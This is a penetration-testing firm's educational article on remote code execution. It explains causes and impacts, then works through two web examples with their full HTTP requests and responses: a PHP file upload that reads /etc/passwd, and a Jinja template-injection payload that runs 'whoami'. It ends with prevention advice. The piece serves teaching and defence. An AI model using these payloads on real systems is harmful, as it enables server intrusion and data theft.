Exploiting a RCE vulnerability for a pentester is something of a Holy Grail. Depending on the context, there are numerous techniques for executing code remotely and thus exploit a RCE.
Beyond the principle of this type of vulnerability, we present in this article examples of RCE attacks and exploitations, as well as best practices and measures to implement to protect yourself.
What is Remote Code Execution (RCE)?
Remote Code Execution (RCE) is a vulnerability that allows an attacker to execute arbitrary code on a target computing device. As its name suggests, this attack is carried out remotely with no physical access.
What are the impacts of Remote Code Execution?
The impact of RCE attacks will depend on the environment of the compromised computing device and the attacker’s intentions. Often, the RCE is the entry point and leads to other attacks.
This can range from a simple data leak to the complete takeover. Here is a list of concrete examples of RCE exploitation:
- Theft of sensitive data: this could be the source code of an application, the database, etc.
- Privilege escalation: after gaining access using a RCE, the attacker may then try to escalate his privileges on the system to increase his impact and gain more access.
- Compromising the internal network: if the device affected by the RCE is linked to the company’s internal network, the attacker can use it as an entry point to propagate across the network.
- Setting up a backdoor: the attacker who has compromised the machine via a RCE can create a backdoor in order to simply reconnect to the machine without having to re-exploit the vulnerability. This is known as persistence. This can be useful, for example, for incorporating the compromised machine into a botnet.
- Denial of service (DoS): the attacker can delete all the data accessed via the RCE or disrupt the operation of the application in a more discreet way.
- Ransomware: following the compromise of a target machine, the attacker can block access to a machine and its contents and claim a ransom from legitimate users.
Given the potential impact, this type of vulnerability is almost always considered critical.
What are the causes?
The term RCE covers all existing types of vulnerability leading to code execution. The causes can therefore be multiple.
For example, we can point to the following cases:
- Malware: a victim of a social engineering attack installs a malware on his/her computer.
- Exploitation of a CVE: an attacker exploits a known vulnerability on systems that are not up to date.
- Functions for evaluating code: data that can be controlled by the user is passed directly to a function for evaluating code, such as “eval” in PHP.
- Deserialization: improper deserialization can lead to code execution.
- Buffer overflow: when an attacker is able to write outside the memory allocated for his program, he can often execute arbitrary code.
- Insecure file uploads: improper management of files uploaded by users can lead to arbitrary code being executed on a web server.
- Server Side Template Injection (SSTI): a server-side template injection often leads to the execution of arbitrary code.
In the remainder of this article, we will focus on RCEs linked to web vulnerabilities.
How to detect a RCE?
As you will have realised, the detection methods differ depending on the type of vulnerability enabling code execution.
To exploit a CVE, the attacker simply needs to detect the version of the components used by the server and look to see if an RCE-type vulnerability is associated with it. In this case, detection and exploitation can often be automated.
However, when it comes to platform-specific vulnerabilities, there is no predefined method. The idea is to analyse the functionalities that are accessible and try to use them in unexpected ways. Furthermore, on web applications, certain functionalities are more often associated with RCEs than others, in particular :
- Features for uploading files.
- Functionalities for defining a data model (for example, an email template).
- features for evaluating code or running commands on the system.
However, it is important not to stop at this list, as it depends on your application. If you have access to the solution’s source code, you can, for example, look for occurrences of functions that are known to be vulnerable if they are used with user-controllable data (the ‘eval’ function in PHP, for example).
Let’s move on to some practical examples.
Exploiting RCE Vulnerabilities on Web Applications
Uploading arbitrary files
A classic case of RCE is that linked to the uploading of arbitrary files. However, this is becoming rarer with the use of buckets in the cloud for file storage.
In this scenario, a PHP web application offers the user a feature for uploading images. These images are stored in a “/uploads/images/” folder at the root of the web server. The files are not verified or renamed. Execution rights are left on the folder containing the files.
HTTP request:
POST /upload HTTP/1.1
Host: test.vaadata.com
Content-Type: multipart/form-data; boundary=---------------------------23970119286181897661102571495
Content-Length: 262
-----------------------------23970119286181897661102571495
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg
<?php
system("cat /etc/passwd");
?>
-----------------------------23970119286181897661102571495—
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 21 Apr 2023 12:57:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 802
[REDACTED]
Image path <a href=’./uploads/images’>rce.php</a>
[REDACTED]
The code sent in the above request can be used to execute the “cat /etc/password” command on the system if the PHP code is interpreted.
In the server response, we can see the path where the file was uploaded. The fact that the response is a “200 OK” shows that there is no check on the type of file transmitted.
If we go to the “rce.php” file, the PHP code is interpreted and we can read the contents of the “/etc/passwd” file:
GET /upload/images/rce.php HTTP/1.1
Host: test.vaadata.com
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 21 Apr 2023 12:57:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 802
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[REDACTED]
The vulnerability lies in the fact that the server does not check the type of file transmitted. An attacker can upload a PHP file containing malicious code. As the “/upload/images” folder contains files with execution rights and is directly accessible from the browser, the PHP files it contains are automatically interpreted by the server when a user accesses it.
The attacker can therefore send any PHP code. The RCE is proven.
The next step for an attacker is generally to create a reverse shell, i.e. to redirect the input and output of a shell on the target machine to the attacker’s machine in order to perform remote system commands. The attacker then propagates to the targeted system and any adjacent machines.
RCE vulnerability in a file name
The case described in the following vulnerability is an RCE discovered during a white-box pentest. It is an RCE linked to processing carried out by the server when an audio or video file is uploaded.
We have written a detailed write-up on this exploit, which you can consult via the link below:
RCE vulnerability in a file name
Server-Side Template Injection (SSTI)
During an audit, we tested an application that allowed employees to personalise emails sent to customers.
This application used a template engine to separate the visual presentation (HTML, CSS, etc.) from the application logic (PHP, Python, etc.). These engines are used to create model files (templates) in the application.
Templates are a mixture of fixed data (layout) and dynamic data (variables). In this case, the application used the Jinja template engine and the email personalisation functionality used these templates.
However, the user data was not correctly processed, allowing the pentesters to inject arbitrary directives to manipulate the template engine within the personalised emails.
Indeed, when personalising an email, the application displayed the rendering of the email once it had been personalised, making it possible to retrieve the results of the command executed on the underlying system, following the injection.
Thus, the following request enable us to inject a load specifically designed to execute a command on the server when the application’s template engine interprets the personalised email to display the rendering to the user:
HTTP request:
POST /emails HTTP/1.1
Host: ssti.vaadata.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 273
Connection: close
email_to=pentest%40vaadata.com&content=Hello+{{customer.name}}+{%25+for+x+in+().__class__.__base__.__subclasses__()+%25}{%25+if+"warning"+in+x.__name__+%25}{{x()._module.__builtins__['__import__']('os').popen("whoami").read()}}{%25endif%25}{%25+endfor+%25}&action=preview
The directive sent in the request above allows the “whoami” command to be executed on the system if the template engine interprets the code. In the server response below, we can see that the directive has been interpreted by the template engine and that the “whoami” command has returned the value “www-data”.
Response:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 4043
Server: Werkzeug
Date: Fri, 18 Aug 2023 07:47:02 GMT
[REDACTED]
<div>
Hello Pentester www-data
[REDACTED]
Here, the vulnerability arises from the fact that user data is interpreted directly by the template engine (as dynamic data), instead of being integrated as fixed data.
This means that an attacker can execute arbitrary commands on the underlying server in order to compromise it. The attacker can then attempt to compromise the application’s database, recover its source code and carry out attacks against the company’s internal IT system.
How to prevent Remote Code Execution Vulnerabilities?
Remote Code Execution cover a wide range of different vulnerabilities. It is therefore complex to give precise technical recommendations.
Nevertheless, here are a few principles :
- Always update and keep up to date the components (frameworks, services, servers, etc.) that you use. This is one of the fundamental principles of IT security. It prevents known vulnerabilities (CVEs) from being exploited. Solution providers issue regular security updates when vulnerabilities are identified. Most of the time, keeping all your components up to date with a stable version will ensure that you always have the most secure version.
- Another key principle is never to trust data coming from users. For the web, this includes all the data contained in HTTP requests received by the server. When data transmitted by the client has to be reused in the code, it is essential to validate and clean it. All the more so when this data is passed to a function that evaluates the code.
- Secure the file upload functions by only allowing certain types of file to be uploaded. Also remember to rename files with a randomly generated name and store them outside the root of the web server (or on a dedicated server). For more details, OWASP provides concrete examples.
- Raise your teams’ awareness of the risk of phishing attacks.
- Implementing access controls within the network can limit the propagation of an attacker who has exploited a RCE. This involves segmenting the network and installing internal firewalls.
- Apply the principle of least privilege. Applications should have as few privileges as possible to make it more difficult for an attacker who has compromised the application to escalate his privileges on the server or to move laterally on the internal network.
- Installing an application firewall (WAF) can also limit the exploitation of certain vulnerabilities and therefore potentially prevent a RCE, or at least make it more difficult to exploit these vulnerabilities.
- Make regular back-ups and store them in a secure environment.
- Set up a system for logging and monitoring data on your network in order to detect potential attacks and, in the event of a compromise, to be able to trace the attacker’s point of entry in order to close the breach.
- Carry out regular security monitoring on all your organisation’s exposed servers.
Author: Yoan MONTOYA – Pentester @Vaadata